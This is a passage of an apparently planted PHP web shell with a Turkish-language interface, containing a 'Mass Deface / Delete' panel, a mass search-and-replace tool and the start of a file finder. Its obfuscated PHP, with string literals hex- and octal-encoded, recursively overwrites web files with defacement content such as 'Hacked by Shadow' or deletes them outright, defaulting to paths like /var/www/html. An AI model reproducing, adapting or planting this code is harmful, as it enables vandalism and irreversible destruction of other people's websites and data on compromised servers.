rgba(179, 0, 255, 0.3); border-radius: 2px; } .mass-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .mass-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .mass-output .output-line:last-child { border-bottom: none; } .mass-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .mass-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .mass-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .mass-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .mass-output .output-line .highlight { color: var(--neon-pembe); text-shadow: 0 0 10px rgba(255, 0, 170, 0.15); } .mass-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } .mass-output .output-line .danger { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } /* ===== PROGRESS BAR ===== */ .progress-container { margin: 10px 0; } .progress-container .progress-bar { width: 100%; height: 3px; background: rgba(179, 0, 255, 0.05); border-radius: 2px; overflow: hidden; } .progress-container .progress-bar .fill { height: 100%; background: linear-gradient(90deg, var(--neon-kirmizi), var(--neon-turuncu), var(--neon-sari)); border-radius: 2px; transition: width 0.5s ease; box-shadow: 0 0 10px rgba(255, 0, 68, 0.2); } .progress-container .progress-text { font-size: 10px; color: rgba(180, 150, 255, 0.3); margin-top: 4px; text-align: center; letter-spacing: 1px; } /* ===== TOGGLE SWITCH ===== */ .toggle-switch-mass { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch-mass input { opacity: 0; width: 0; height: 0; } .toggle-slider-mass { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider-mass:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch-mass input:checked + .toggle-slider-mass { background: rgba(255, 0, 68, 0.2); border-color: rgba(255, 0, 68, 0.4); } .toggle-switch-mass input:checked + .toggle-slider-mass:before { transform: translateX(16px); background: var(--neon-kirmizi); box-shadow: 0 0 20px rgba(255, 0, 68, 0.3); } .toggle-label-mass { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; cursor: pointer; transition: color 0.3s ease; } .toggle-label-mass:hover { color: rgba(180, 150, 255, 0.8); } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .mass-container { grid-template-columns: 1fr; gap: 15px; } .mass-card { padding: 15px; } .mass-form .input-group { flex-direction: column; } .btn-neon-mass { width: 100%; justify-content: center; } .mass-card .card-header h4 { font-size: 11px; } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowMass { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .mass-card { animation: pulseGlowMass 3s ease-in-out infinite; } @keyframes slideInMass { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .mass-output { animation: slideInMass 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .mass-card { animation: fadeInUp 0.5s ease forwards; } .mass-card:nth-child(1) { animation-delay: 0.05s; } .mass-card:nth-child(2) { animation-delay: 0.1s; } .mass-card:nth-child(3) { animation-delay: 0.15s; } .mass-card:nth-child(4) { animation-delay: 0.2s; } /* ===== WARNING BANNER ===== */ .warning-banner { background: rgba(255, 0, 68, 0.05); border: 1px solid rgba(255, 0, 68, 0.1); border-radius: 8px; padding: 10px 12px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; color: rgba(180, 150, 255, 0.6); font-size: 10px; } .warning-banner i { color: var(--neon-kirmizi); font-size: 16px; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-mass"></canvas> <div class="mass-wrapper"> <div class="mass-container"> <!-- ============================================================ --> <!-- 1. MASS DEFACE / DELETE - ANA --> <!-- ============================================================ --> <div class="mass-card"> <div class="card-header"> <i class="fas fa-fire"></i> <h4>🔥 Mass Deface / Delete</h4> <span class="badge danger">⚠️ TEHLİKELİ</span> </div> <div class="warning-banner"> <i class="fas fa-exclamation-triangle"></i> <span>Bu işlem geri alınamaz! Lütfen dikkatli kullanın.</span> </div> <form method="POST" class="mass-form"> <div class="input-group"> <input type="text" name="mass_dir" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> <button type="button" class="btn-neon-mass small primary" onclick="document.querySelector('input[name=mass_dir]').value = '<?php echo getcwd(); ?> '"> <i class="fas fa-folder"></i> CWD </button> <button type="button" class="btn-neon-mass small primary" onclick="document.querySelector('input[name=mass_dir]').value = '/var/www/html'"> <i class="fas fa-globe"></i> WWW </button> </div> <div class="input-group"> <input type="text" name="mass_pattern" placeholder="Desen (örn: *.php, *.txt, index.*)" value="*.php"> <select name="mass_extensions" id="mass_extensions" style="max-width:150px;"> <option value="">📋 Hazır Desenler</option> <option value="*.php">*.php</option> <option value="*.html">*.html</option> <option value="*.htm">*.htm</option> <option value="*.txt">*.txt</option> <option value="*.js">*.js</option> <option value="*.css">*.css</option> <option value="*.xml">*.xml</option> <option value="*.json">*.json</option> <option value="*.sql">*.sql</option> <option value="index.*">index.*</option> <option value="default.*">default.*</option> <option value="*">* (Tümü)</option> </select> </div> <div class="input-group"> <input type="text" name="mass_exclude" placeholder="Hariç tutulacak desen (örn: *.bak, *.old)"> </div> <div class="input-group"> <textarea name="mass_content" rows="4" placeholder="Deface içeriği (boş bırakırsanız siler) Örnek: <h1>Hacked by Shadow</h1>" style="flex:1;min-height:80px;resize:vertical;"></textarea> </div> <div class="input-group"> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="mass_recursive" value="1" checked> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="mass_backup" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-hdd"></i> Backup (.bak) </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="mass_dry_run" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-flask"></i> Kuru Çalıştır </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="mass_verbose" value="1" checked> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-list"></i> Detaylı </label> </div> <div class="btn-group-mass"> <button type="submit" name="mass_action" value="deface" class="btn-neon-mass danger"> <i class="fas fa-skull"></i> Deface </button> <button type="submit" name="mass_action" value="delete" class="btn-neon-mass danger"> <i class="fas fa-trash-alt"></i> Sil </button> <button type="reset" class="btn-neon-mass small primary"> <i class="fas fa-undo"></i> Temizle </button> </div> </form> <?php if (isset($_POST["\x6d\141\x73\163\x5f\x61\x63\x74\x69\157\156"]) && in_array($_POST["\x6d\x61\163\163\x5f\x61\143\164\x69\x6f\156"], array("\144\145\146\x61\x63\145", "\144\145\154\145\x74\x65"))) { $dir = rtrim($_POST["\155\141\163\163\x5f\x64\x69\x72"], "\57"); $pattern = $_POST["\x6d\x61\x73\x73\x5f\160\x61\164\x74\x65\x72\x6e"]; $exclude = $_POST["\155\141\x73\163\x5f\x65\170\143\154\x75\144\x65"]; $content = $_POST["\x6d\x61\x73\163\x5f\143\x6f\x6e\x74\145\x6e\164"]; $recursive = isset($_POST["\155\141\163\163\x5f\162\x65\143\165\162\163\x69\166\x65"]); $backup = isset($_POST["\x6d\141\x73\163\x5f\x62\x61\x63\153\x75\160"]); $dry_run = isset($_POST["\155\x61\163\163\137\x64\x72\171\x5f\x72\165\156"]); $verbose = isset($_POST["\155\141\163\163\137\166\x65\x72\142\157\x73\145"]); $action_type = $_POST["\x6d\141\x73\163\137\x61\x63\164\151\157\x6e"]; echo "\74\144\x69\166\40\143\x6c\x61\x73\163\75\42\x6d\x61\x73\163\x2d\x6f\165\x74\x70\x75\164\x22\x3e"; echo "\x3c\144\151\x76\40\x63\x6c\x61\x73\163\75\x22\157\x75\x74\x70\x75\164\x2d\x6c\151\156\x65\42\x3e\74\163\x70\141\156\x20\x63\154\x61\x73\163\x3d\42\167\x61\x72\156\42\76\xe2\232\xa0\357\270\217\x20" . strtoupper($action_type) . "\x20\x69\305\x9f\x6c\x65\155\151\40\x62\141\305\x9f\x6c\x61\164\304\261\154\304\xb1\171\x6f\162\56\x2e\x2e\x3c\57\x73\160\x61\156\76\74\57\x64\151\x76\76"; echo "\74\x64\151\166\x20\143\x6c\141\163\x73\x3d\42\157\165\x74\160\165\x74\x2d\154\x69\x6e\145\42\76\74\163\x70\141\156\40\143\x6c\x61\163\163\75\x22\144\151\x6d\42\x3e\360\x9f\223\202\40\x44\151\x7a\151\156\72\x20" . $dir . "\x3c\57\x73\x70\x61\x6e\x3e\x3c\x2f\144\151\166\x3e"; echo "\x3c\144\x69\166\x20\143\154\141\163\x73\75\x22\x6f\165\164\x70\165\164\x2d\154\x69\x6e\x65\x22\x3e\x3c\x73\x70\x61\x6e\x20\143\x6c\x61\163\x73\x3d\42\x64\151\x6d\x22\76\xf0\x9f\x94\x8d\40\x44\x65\x73\145\156\72\x20" . $pattern . "\x3c\x2f\163\160\x61\x6e\x3e\x3c\x2f\x64\151\x76\76"; if ($exclude) { echo "\74\144\151\x76\40\x63\x6c\141\163\163\x3d\42\x6f\x75\164\x70\x75\164\x2d\154\x69\x6e\145\x22\76\x3c\163\x70\141\156\x20\143\x6c\x61\163\x73\75\42\x64\151\155\42\76\xf0\x9f\x9a\253\40\x48\141\x72\151\xc3\xa7\x3a\x20" . $exclude . "\x3c\x2f\163\160\x61\x6e\76\x3c\57\x64\151\x76\76"; } if ($dry_run) { echo "\x3c\144\151\166\x20\143\154\x61\x73\163\75\42\157\165\x74\x70\165\164\55\154\151\x6e\x65\42\76\74\x73\160\141\156\x20\143\x6c\x61\x73\x73\x3d\42\x77\x61\x72\156\42\x3e\xf0\x9f\xa7\xaa\40\113\125\122\125\40\303\x87\x41\114\x49\305\236\124\111\122\x4d\x41\40\55\40\x48\151\xc3\247\x62\151\162\x20\x64\145\xc4\237\x69\xc5\237\151\x6b\154\x69\x6b\x20\x79\x61\160\304\xb1\x6c\155\x61\171\x61\x63\141\x6b\74\57\163\160\x61\156\76\x3c\x2f\144\x69\166\x3e"; } if ($backup) { echo "\x3c\144\151\x76\x20\143\154\x61\x73\x73\75\x22\157\165\x74\160\165\164\55\154\x69\x6e\x65\x22\x3e\74\163\160\141\156\40\x63\154\141\163\163\75\42\x69\x6e\146\157\42\x3e\360\237\222\276\40\102\x61\x63\x6b\x75\x70\x20\155\157\144\165\40\141\153\x74\151\x66\x20\50\x2e\142\x61\153\40\145\x6b\154\145\x6e\x65\x63\x65\x6b\x29\74\57\x73\160\x61\156\x3e\74\57\144\x69\166\x3e"; } $files = array(); if ($recursive) { $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($iter as $file) { if ($file->isFile()) { $filename = $file->getPathname(); $files[] = $filename; } } } else { $files = glob($dir . "\x2f" . $pattern); if ($files === false) { $files = array(); } } $pattern_regex = "\x2f\136" . str_replace(array("\x2e", "\52"), array("\x5c\56", "\x2e\52"), $pattern) . "\x24\x2f"; $exclude_regex = $exclude ? "\x2f\x5e" . str_replace(array("\x2e", "\52"), array("\x5c\56", "\x2e\x2a"), $exclude) . "\44\57" : null; $matched = array(); foreach ($files as $file) { $basename = basename($file); if (preg_match($pattern_regex, $basename)) { if ($exclude_regex && preg_match($exclude_regex, $basename)) { continue; } $matched[] = $file; } } $total = count($matched); $processed = 0; $success = 0; $errors = 0; echo "\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\x22\157\x75\164\x70\x75\x74\55\x6c\x69\156\x65\42\x3e\74\163\160\141\x6e\40\x63\x6c\141\x73\163\75\x22\151\x6e\146\x6f\x22\x3e\xf0\x9f\223\246\40" . $total . "\x20\144\x6f\163\171\141\40\x62\165\x6c\x75\x6e\x64\x75\74\57\x73\x70\x61\156\x3e\74\57\144\x69\166\x3e"; foreach ($matched as $file) { $processed++; $progress = round($processed / $total * 100); echo "\74\x64\x69\x76\40\x63\154\x61\163\x73\75\42\x70\x72\157\147\162\145\163\x73\55\143\x6f\x6e\x74\x61\151\156\145\162\42\76\x3c\144\151\x76\40\143\154\x61\163\163\75\x22\160\x72\x6f\x67\162\x65\x73\x73\x2d\142\141\x72\x22\x3e\74\x64\x69\x76\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\154\x22\x20\163\x74\171\x6c\145\x3d\x22\x77\x69\x64\x74\x68\72" . $progress . "\45\42\x3e\74\x2f\x64\151\166\x3e\x3c\x2f\x64\x69\x76\76\74\57\144\x69\x76\x3e"; if (!$dry_run) { if ($action_type == "\x64\145\x6c\145\164\x65") { if (@unlink($file)) { $success++; if ($verbose) { echo "\74\144\x69\166\x20\143\x6c\x61\163\x73\75\42\x6f\165\x74\x70\165\164\55\x6c\151\x6e\145\x22\x3e\x3c\163\x70\141\x6e\40\143\154\141\163\163\75\x22\x65\162\x72\157\162\x22\76\360\237\227\x91\357\270\x8f\74\x2f\163\160\x61\x6e\x3e\40" . htmlspecialchars($file) . "\40\x3c\x73\x70\x61\x6e\x20\x63\x6c\141\x73\163\75\x22\144\x69\155\x22\76\x73\x69\x6c\151\156\144\151\x3c\x2f\x73\x70\x61\156\x3e\x3c\57\x64\x69\166\x3e"; } } else { $errors++; echo "\x3c\x64\151\x76\x20\x63\154\x61\x73\x73\75\x22\x6f\x75\x74\x70\x75\164\x2d\x6c\151\156\145\42\76\x3c\x73\160\141\x6e\x20\143\x6c\x61\x73\163\x3d\x22\145\x72\x72\157\x72\42\76\342\x9d\x8c\74\x2f\163\x70\141\x6e\x3e\40" . htmlspecialchars($file) . "\x20\74\163\160\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\144\x69\155\x22\x3e\x28\163\151\154\x69\156\145\155\x65\144\x69\51\74\x2f\163\160\141\156\x3e\74\57\144\151\166\x3e"; } } else { if ($backup) { @copy($file, $file . "\56\x62\141\153"); } if (@file_put_contents($file, $content) !== false) { $success++; if ($verbose) { echo "\74\x64\x69\166\40\143\x6c\x61\163\163\x3d\42\157\165\164\160\x75\164\55\x6c\151\156\145\42\x3e\x3c\163\160\x61\156\x20\x63\154\141\x73\x73\x3d\42\x73\165\143\143\x65\163\163\x22\x3e\360\x9f\224\245\74\57\x73\160\x61\156\x3e\40" . htmlspecialchars($file) . "\x20\x3c\163\160\141\156\x20\143\x6c\x61\163\x73\x3d\x22\x64\x69\155\42\x3e\x64\145\146\x61\x63\x65\40\x65\x64\x69\x6c\144\151\x3c\57\163\160\x61\x6e\76\x3c\x2f\144\x69\166\76"; } } else { $errors++; echo "\74\x64\151\166\40\x63\x6c\x61\x73\163\75\42\x6f\x75\164\x70\x75\x74\55\x6c\x69\156\145\42\x3e\x3c\163\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x65\162\162\x6f\x72\x22\76\342\235\214\x3c\57\163\160\141\156\x3e\x20" . htmlspecialchars($file) . "\x20\x3c\x73\160\141\x6e\x20\x63\154\x61\x73\x73\x3d\42\144\x69\155\42\x3e\x28\171\141\x7a\304\xb1\154\x61\155\141\x64\304\261\51\x3c\x2f\x73\x70\x61\156\76\x3c\57\x64\x69\166\x3e"; } } } else { $success++; if ($verbose) { $action_icon = $action_type == "\144\145\x6c\x65\x74\x65" ? "\xf0\237\227\x91\357\xb8\x8f" : "\360\x9f\x94\xa5"; echo "\x3c\144\x69\x76\40\x63\x6c\141\x73\x73\x3d\42\x6f\165\164\x70\x75\164\x2d\154\151\x6e\x65\x22\x3e\74\163\x70\x61\156\40\x63\x6c\x61\163\x73\x3d\x22\151\x6e\x66\157\x22\x3e\xf0\x9f\224\215\74\x2f\x73\x70\141\x6e\76\x20" . $action_icon . "\40" . htmlspecialchars($file) . "\x20\x3c\163\x70\141\156\40\143\x6c\141\163\163\x3d\42\144\151\155\42\x3e\50\x6b\165\162\165\51\x3c\57\163\160\141\156\x3e\x3c\57\x64\151\x76\76"; } } } echo "\74\x64\x69\166\x20\x63\154\x61\163\x73\75\42\x6f\x75\x74\x70\x75\x74\55\154\151\x6e\x65\x22\x20\163\x74\171\x6c\x65\75\42\142\157\162\x64\x65\162\x2d\x74\157\160\72\x31\x70\170\40\163\157\154\x69\144\40\162\147\142\141\x28\61\67\71\54\60\54\x32\x35\65\x2c\60\x2e\x31\51\73\155\141\162\147\151\x6e\55\x74\x6f\x70\x3a\x35\x70\170\73\x70\141\x64\144\151\x6e\147\x2d\164\x6f\160\72\x35\x70\x78\x3b\x22\76"; if ($dry_run) { echo "\x3c\x73\160\x61\156\40\143\154\141\x73\163\75\x22\151\156\146\157\x22\76\360\237\xa7\252\x20\x4b\165\x72\165\x20\xc3\247\x61\154\304\261\305\237\164\xc4\xb1\x72\155\x61\x3a\40" . $success . "\x20\144\157\x73\x79\141\40\x69\xc5\237\x6c\145\x6e\x65\143\x65\153\x2c\x20" . $errors . "\40\x68\141\164\x61\74\x2f\x73\x70\x61\156\76"; } else { $action_text = $action_type == "\x64\x65\154\145\164\145" ? "\x73\x69\154\x69\156\144\x69" : "\x64\x65\146\x61\x63\x65\x20\x65\x64\x69\154\x64\x69"; $icon = $action_type == "\144\x65\x6c\x65\x74\x65" ? "\xf0\237\x97\221\357\xb8\x8f" : "\360\x9f\224\xa5"; if ($success > 0) { echo "\74\x73\160\x61\x6e\40\x63\154\x61\x73\x73\75\x22\x73\x75\143\x63\x65\x73\x73\42\x3e\xe2\x9c\205\x20" . $icon . "\x20" . $success . "\x20\x64\x6f\163\171\141\40" . $action_text . "\x3c\57\x73\160\141\x6e\76"; } else { echo "\x3c\x73\x70\x61\156\x20\x63\x6c\141\163\x73\75\42\x65\162\x72\157\162\42\76\xe2\235\x8c\x20\x48\x69\303\xa7\x62\151\162\x20\x64\157\163\171\x61\x20\151\xc5\237\154\x65\156\145\155\x65\x64\x69\74\57\x73\x70\141\x6e\76"; } if ($errors > 0) { echo "\40\x3c\x73\160\141\156\x20\143\x6c\x61\163\x73\x3d\x22\x65\162\x72\157\162\42\76\174\40" . $errors . "\40\x68\x61\164\141\74\57\163\x70\141\156\76"; } if ($backup && $action_type == "\x64\x65\x66\x61\143\x65") { echo "\x20\74\163\160\141\x6e\x20\143\154\141\x73\163\75\x22\x64\x69\155\42\x3e\174\x20\xf0\237\x92\xbe\40\x2e\142\141\153\x20\171\x65\x64\145\x6b\x6c\145\162\x69\40\x6f\x6c\165\305\x9f\x74\165\x72\165\154\x64\165\74\x2f\x73\160\x61\x6e\76"; } } echo "\x3c\x2f\144\151\166\x3e"; echo "\x3c\x2f\144\x69\166\x3e"; } ?> </div> <!-- ============================================================ --> <!-- 2. MASS SEARCH & REPLACE --> <!-- ============================================================ --> <div class="mass-card"> <div class="card-header"> <i class="fas fa-search-replace"></i> <h4>🔍 Mass Search & Replace</h4> <span class="badge">Değiştir</span> </div> <form method="POST" class="mass-form"> <div class="input-group"> <input type="text" name="sr_dir" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> </div> <div class="input-group"> <input type="text" name="sr_pattern" placeholder="Desen (örn: *.php)" value="*.php"> </div> <div class="input-group"> <input type="text" name="sr_search" placeholder="Aranacak metin" value=""> </div> <div class="input-group"> <input type="text" name="sr_replace" placeholder="Yeni metin" value=""> </div> <div class="input-group"> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="sr_recursive" value="1" checked> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="sr_regex" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-code"></i> Regex </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="sr_case" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-font"></i> Case Sensitive </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="sr_dry" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-flask"></i> Kuru </label> </div> <div class="btn-group-mass"> <button type="submit" name="mass_action" value="search_replace" class="btn-neon-mass warning"> <i class="fas fa-sync"></i> Değiştir </button> <button type="submit" name="mass_action" value="search_replace_count" class="btn-neon-mass primary"> <i class="fas fa-search"></i> Say </button> </div> </form> <?php if (isset($_POST["\155\141\x73\163\137\x61\x63\164\x69\157\x6e"]) && in_array($_POST["\x6d\x61\x73\x73\x5f\x61\143\x74\151\x6f\x6e"], array("\x73\145\141\162\x63\x68\x5f\x72\x65\x70\154\141\x63\x65", "\x73\x65\141\x72\x63\x68\137\162\x65\160\x6c\141\x63\x65\x5f\x63\157\165\156\164"))) { $sr_dir = rtrim($_POST["\x73\162\137\x64\x69\162"], "\x2f"); $sr_pattern = $_POST["\x73\x72\x5f\160\x61\164\164\x65\x72\x6e"]; $sr_search = $_POST["\163\162\137\163\145\x61\162\x63\150"]; $sr_replace = $_POST["\163\x72\x5f\162\145\160\154\141\143\x65"]; $sr_recursive = isset($_POST["\x73\x72\x5f\x72\x65\143\165\162\163\x69\x76\x65"]); $sr_regex = isset($_POST["\x73\162\137\162\x65\x67\x65\x78"]); $sr_case = isset($_POST["\x73\162\137\143\x61\163\x65"]); $sr_dry = isset($_POST["\x73\162\137\144\162\171"]); $count_only = $_POST["\x6d\x61\x73\x73\137\141\143\x74\151\x6f\x6e"] == "\x73\145\141\162\143\150\x5f\x72\145\160\x6c\x61\x63\145\137\x63\157\x75\x6e\164"; echo "\x3c\144\151\x76\x20\x63\x6c\x61\x73\x73\75\42\x6d\141\x73\163\55\x6f\x75\x74\x70\x75\x74\x22\x3e"; echo "\74\144\x69\x76\40\143\154\141\x73\163\x3d\42\157\x75\164\160\165\164\55\x6c\x69\x6e\145\x22\76\74\x73\x70\141\156\40\x63\154\x61\x73\x73\x3d\42\151\156\146\x6f\x22\x3e\xf0\237\x94\x8d\40" . ($count_only ? "\x41\162\141\x6e\xc4\261\x79\157\x72" : "\104\145\304\x9f\151\305\x9f\x74\151\162\151\154\151\171\157\162") . "\x2e\56\56\x3c\57\163\160\x61\x6e\x3e\74\57\x64\x69\x76\x3e"; echo "\x3c\144\151\x76\x20\143\x6c\141\x73\163\75\42\x6f\x75\x74\160\x75\164\55\154\x69\x6e\x65\42\x3e\x3c\x73\160\141\156\40\x63\x6c\x61\163\163\x3d\x22\x64\x69\x6d\x22\76\xf0\x9f\223\x82\x20\104\151\x7a\151\x6e\x3a\x20" . $sr_dir . "\x3c\57\x73\160\141\x6e\x3e\x3c\x2f\144\151\166\x3e"; echo "\x3c\x64\151\166\40\x63\x6c\141\x73\163\x3d\x22\x6f\x75\x74\x70\165\x74\55\154\x69\156\145\x22\x3e\x3c\163\160\141\x6e\40\x63\154\141\163\x73\75\42\x64\x69\x6d\x22\x3e\360\x9f\x94\215\40\101\162\141\156\x61\156\72\40\42" . $sr_search . "\42\x20\xe2\206\x92\x20\x22" . $sr_replace . "\42\74\x2f\163\160\x61\156\x3e\x3c\57\144\151\x76\76"; if ($sr_dry && !$count_only) { echo "\x3c\x64\151\166\x20\143\154\141\x73\x73\x3d\x22\x6f\x75\164\160\165\164\x2d\x6c\151\156\145\42\76\74\x73\160\141\x6e\x20\143\x6c\141\163\163\75\42\x77\x61\162\x6e\x22\76\360\237\247\xaa\40\x4b\125\122\x55\x20\303\207\101\x4c\111\xc5\x9e\x54\x49\122\115\x41\x3c\x2f\163\x70\141\156\x3e\x3c\57\x64\x69\x76\x3e"; } $files = array(); if ($sr_recursive) { $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($sr_dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($iter as $file) { if ($file->isFile()) { $files[] = $file->getPathname(); } } } else { $files = glob($sr_dir . "\x2f" . $sr_pattern); if ($files === false) { $files = array(); } } $pattern_regex = "\57\136" . str_replace(array("\x2e", "\x2a"), array("\134\x2e", "\x2e\x2a"), $sr_pattern) . "\x24\x2f"; $matched = array(); foreach ($files as $file) { if (preg_match($pattern_regex, basename($file))) { $matched[] = $file; } } $total = count($matched); $modified = 0; $searched = 0; foreach ($matched as $file) { $content = @file_get_contents($file); if ($content === false) { continue; } $old_content = $content; if ($count_only) { if ($sr_regex) { $count = preg_match_all($sr_search, $content); } else { $count = substr_count($content, $sr_search); } if ($count > 0) { $searched += $count; echo "\74\144\x69\166\x20\x63\x6c\141\163\163\75\x22\x6f\x75\164\x70\165\x74\x2d\154\x69\156\x65\42\x3e\74\163\160\x61\x6e\x20\x63\x6c\141\163\x73\x3d\42\x68\x69\147\150\154\151\147\x68\x74\x22\x3e\360\237\x94\215\74\57\163\160\141\x6e\x3e\40" . htmlspecialchars($file) . "\x20\74\x73\160\x61\156\40\143\154\x61\x73\163\75\x22\x64\151\155\42\x3e\342\x86\x92\40" . $count . "\40\145\xc5\237\x6c\x65\xc5\237\155\145\x3c\x2f\x73\160\x61\x6e\x3e\x3c\57\144\151\166\x3e"; } } else { if ($sr_regex) { $content = preg_replace($sr_search, $sr_replace, $content); } else { $content = $sr_case ? str_replace($sr_search, $sr_replace, $content) : str_ireplace($sr_search, $sr_replace, $content); } if ($old_content != $content) { if (!$sr_dry) { @file_put_contents($file, $content); } $modified++; echo "\x3c\x64\x69\x76\x20\x63\x6c\141\x73\x73\x3d\42\x6f\165\164\x70\x75\x74\55\154\151\156\x65\42\76\74\x73\160\141\x6e\40\143\154\x61\x73\163\x3d\x22\163\x75\143\143\145\163\x73\42\76\342\234\205\74\x2f\x73\x70\x61\x6e\76\40" . htmlspecialchars($file) . "\40\x3c\x73\x70\x61\156\x20\143\x6c\x61\x73\x73\x3d\42\144\x69\155\x22\76\144\145\xc4\237\151\xc5\x9f\x74\151\162\x69\154\144\151\x3c\x2f\x73\160\141\156\76\x3c\57\x64\x69\x76\x3e"; } } } echo "\74\144\151\166\40\x63\x6c\141\163\163\x3d\42\157\x75\x74\160\x75\x74\55\154\151\x6e\145\42\40\163\x74\x79\154\x65\x3d\42\142\x6f\162\144\x65\x72\55\164\x6f\x70\x3a\x31\160\x78\x20\163\x6f\x6c\151\x64\40\x72\147\x62\x61\x28\61\x37\x39\x2c\x30\54\62\x35\x35\x2c\x30\x2e\61\x29\73\x6d\141\x72\147\151\156\55\164\x6f\160\x3a\x35\160\x78\73\160\141\x64\x64\x69\x6e\147\x2d\x74\x6f\160\x3a\65\x70\x78\73\42\76"; if ($count_only) { echo "\x3c\x73\160\141\x6e\x20\143\154\x61\163\x73\75\42\x69\156\146\157\x22\x3e\360\x9f\x93\x8a\x20" . $searched . "\40\145\305\237\x6c\x65\305\x9f\155\145\40\142\x75\x6c\x75\x6e\x64\165\x3c\x2f\163\x70\x61\156\x3e"; } else { if ($sr_dry) { echo "\74\163\x70\x61\156\x20\x63\154\x61\163\x73\x3d\x22\x69\x6e\x66\x6f\x22\76\xf0\237\247\xaa\x20" . $modified . "\40\x64\157\163\171\141\40\x64\145\304\x9f\151\xc5\x9f\164\151\x72\151\154\145\143\x65\153\x3c\57\163\160\x61\x6e\x3e"; } else { echo "\74\x73\x70\x61\156\40\x63\154\x61\x73\163\x3d\x22\163\165\143\x63\x65\163\x73\42\76\xe2\234\x85\x20" . $modified . "\40\144\x6f\163\171\141\x20\x64\145\304\x9f\151\305\x9f\164\151\x72\151\x6c\x64\x69\x3c\57\163\160\141\x6e\76"; } } echo "\x3c\57\x64\x69\166\76"; echo "\74\x2f\144\x69\166\x3e"; } ?> </div> <!-- ============================================================ --> <!-- 3. MASS FINDER --> <!-- ============================================================ --> <div class="mass-card"> <div class="card-header"> <i class="fas fa-search"></i> <h4>🔎 Mass Finder</h4> <span class="badge">Bulk</span> </div> <form method="POST" class="mass-form"> <div class="input-group"> <input type="text" name="finder_dir" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> </div> <div class="input-group"> <input type="text" name="finder_pattern" placeholder="Desen (örn: *.php)" value="*.php"> </div> <div class="input-group"> <input type="text" name="finder_search" placeholder="Aranacak metin (boş bırakırsanız tümünü listeler)" value=""> </div> <div class="input-group"> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="finder_recursive" value="1" checked> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="finder_content" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-file-alt"></i> İçerik </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="finder_case" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-font"></i> Case Sensitive </label> </div> <div class="btn-group-mass"> <button type="submit" name="mass_action" value="finder" class="btn-neon-mass primary"> <i class="fas fa-search"></i> Ara </button> <button type="button" class="btn-neon-mass small warning" onclick="exportFinderResults()"> <i class="fas fa-file-export"></i> Dışa Aktar </button> </div> </form> <?php if 